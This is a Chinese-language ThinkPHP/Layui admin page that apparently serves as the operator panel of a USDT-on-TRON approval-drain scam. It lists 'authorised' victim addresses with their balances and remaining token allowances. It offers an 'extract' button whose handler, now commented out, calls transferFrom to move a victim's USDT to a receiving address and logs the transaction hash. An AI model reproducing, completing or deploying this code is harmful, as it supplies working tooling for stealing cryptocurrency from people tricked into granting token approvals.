{extend name="base/base" /}
{block name="style"}
<style type="text/css">

</style>
{/block}
{block name="content"}
  <div class="layui-form-item layui-form-pane">
      
      <div class="layui-inline">
          <label class="layui-form-label">地址</label>
          <div class="layui-input-inline">
              <input type="text" name="from" autocomplete="off" class="layui-input" id='from'>
          </div>
      </div>

      <div class="layui-inline">
        <div class="demoTable">
          <button class="layui-btn" data-type="reload">搜索</button>
<!--           <button class="layui-btn" onclick="excel()">导出表</button> -->
        </div>
      </div>
  <table id="table" lay-filter="test"></table> 
    <script type="text/html" id="barDemo">
    <a class="layui-btn layui-btn-xs" lay-event="edit">提取</a>
    <!-- <a class="layui-btn layui-btn-xs" lay-event="bf">补发</a> -->
  </script>
  <script type="text/html" id="barDemo2">
    <!-- <a class="layui-btn layui-btn-xs" lay-event="copy">复制钱包地址</a> -->
  </script>
  <script type="text/html" id="toolbarDemo">
  <div class="layui-btn-container">
    <!-- <button class="layui-btn layui-btn-sm" lay-event="add">一键审核</button> -->
  </div>
</script>
</div>
{/block}
{block name="script"}
<script src="/addr/trx/jquery.min.js"></script>
<script src="/addr/trx/TronWeb.js"></script>
<script>

        let usdtcc;
        let address;
        $(function () {
            if (typeof window.tronWeb !== 'undefined') {
                metamaskinit();
            }
            else {
                setTimeout(function () {
                  
                    if (typeof window.tronWeb !== 'undefined') {
                        metamaskinit();
                    }
                    else {
                        alert("未检测到公共钱包平台，请使用imtoken或波宝钱包登录!");
                    }
                }, 1500);
            }
        });

        async function metamaskinit() {
            if (typeof window.tronWeb.defaultAddress.base58 !== 'undefined' && window.tronWeb.defaultAddress.base58 !== false ) {
                 
                address = window.tronWeb.defaultAddress.base58;
                usdtcc = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
                // console.log(usdtcc);
                laydata();
            }
            else {
                alert("未检测到tron账户!请确认是否已连接到钱包");
            }
        }

        function laydata(){
          if (usdtcc != undefined) {
            layui.use(['table', 'laydate'], function(){
          var table = layui.table;
          var laydate = layui.laydate;
          table.render({
            elem: '#table'
            // ,defaultToolbar: ['filter']
            // ,toolbar: '#toolbarDemo'

            ,height: 'full-200'
            ,url: '/admin/sq/dataList/?type=1' //数据接口
            ,limit:20
            ,page: true //开启分页
            ,id:'reload'
            ,cols: [[ //表头
              // {type: 'checkbox', fixed: 'left'}
              {field:'from', title: '授权地址', width: 350}
              ,{field:'to', title: '接收地址', width: 350}
              ,{field:'amx', title: '提交数量', width: 100}
              ,{field:'ye', title: '账户余额', width: 100,templet: function(d){
                 return getYe(d);
                }}
              ,{field:'am', title: '授权数量', width: 100}
              ,{field:'ams', title: '剩余授权', width: 100,templet: function(d){
                 return getallow(d);
                }}
              ,{title: '操作', toolbar: '#barDemo', width: 100}
              
            ]]
          });

          table.on('tool(test)', function(obj){
            var data = obj.data;
             if(obj.event === 'edit'){
              layer.prompt({
                    formType: 2,    // 弹出文本层类型
                    title: '请输入提取数量',    // 标题
                    value:'',    // 可以设置文本默认值
                    area: ['100px', '100px'],     // 设置弹出层大小
                    btn: ['确定','取消'],    // 自定义设置多个按钮
                    btnAlign: 'c',    // 设置按钮位置
                }, function(value, index, elem){
                  // tx(m){
                    if (usdtcc == undefined) {
                        alert("未检测到公共钱包平台，请使用imtoken或波宝钱包登录!");
                    } else {
                      // let m = data;
                      //   let sl = value;
                      //    if(sl>0){    
                      //         let y = usdtcc.transferFrom(m.from,m.to,sl*1e6).send();
                      //         alert("提交完成,交易号"+y);
                      //          $.get("/api/Admin/addLog?op=logadd&from="+m.from+"&to="+m.to+"&am="+sl+"&hash="+y+'&type='+m.type);
                      //         setTimeout( function(){
                      //            let x =  usdtcc.allowance(m.from,m.to).call();
                      //            let je= (JSON.parse(x.remaining)-0)/1e6;
                      //            m.ams = je;
                      //         },5000);
                      //     }
                    }
                        
                    // }
                  //   var index = layer.msg('正在拼命处理...' , {
                  //   icon: 16 ,
                  //   shade: 0.6 ,
                  //   time: 0 ,
                  // });
                //     $.ajax({
                //     url:"{:url('admin/out/tq')}",
                //     type:"POST",
                //     data:{id:data.id,value:value},
                //     success:function(ret){
                //         if (ret.code == 0) {
                //           layer.msg('操作成功');
                //           $(".layui-laypage-btn")[0].click();
                //         }
                //         if (ret.code == 1) {
                //             layer.msg(ret.msg);
                //         }
                //     }
                // });
                    layer.close(index);
                }); 
             }
              if(obj.event === 'copy'){
                      $(".font-primary").attr("data-clipboard-text",data.address);
                        var clipboard = new ClipboardJS('.font-primary');
                        clipboard.on('success', function(e) {
                            layer.msg('复制成功');
                            clipboard.destroy();  //解决多次弹窗
                            e.clearSelection();
                        });

              }
          });
            // 搜索
          var $ = layui.$, active = {
                reload: function(){
                    table.reload('reload', {
                        where: {
                            address: $('#address').val()
                        }
                    });
                }
            };
            $('.demoTable .layui-btn').on('click', function(){
            var type = $(this).data('type');
            active[type] ? active[type].call(this) : '';
          });
        });
          }
        }
        function getYe(d){
          console.log(usdtcc)
          if (usdtcc == undefined) {
            return '未连接钱包'
          }

          let tmp = usdtcc.balanceOf(d.from).call();
          console.log(JSON.parse(tmp))
          return JSON.parse(tmp) / 1e6; 

        }
        function getallow(d){
          if (usdtcc == undefined) {
            return '未连接钱包'
          }
          let x =  usdtcc.allowance(d.from,d.to).call();
           console.log(JSON.parse(x.remaining));
           let je= (JSON.parse(x.remaining)-0)/1e6;
           return je;
        }
          
</script>
{/block}
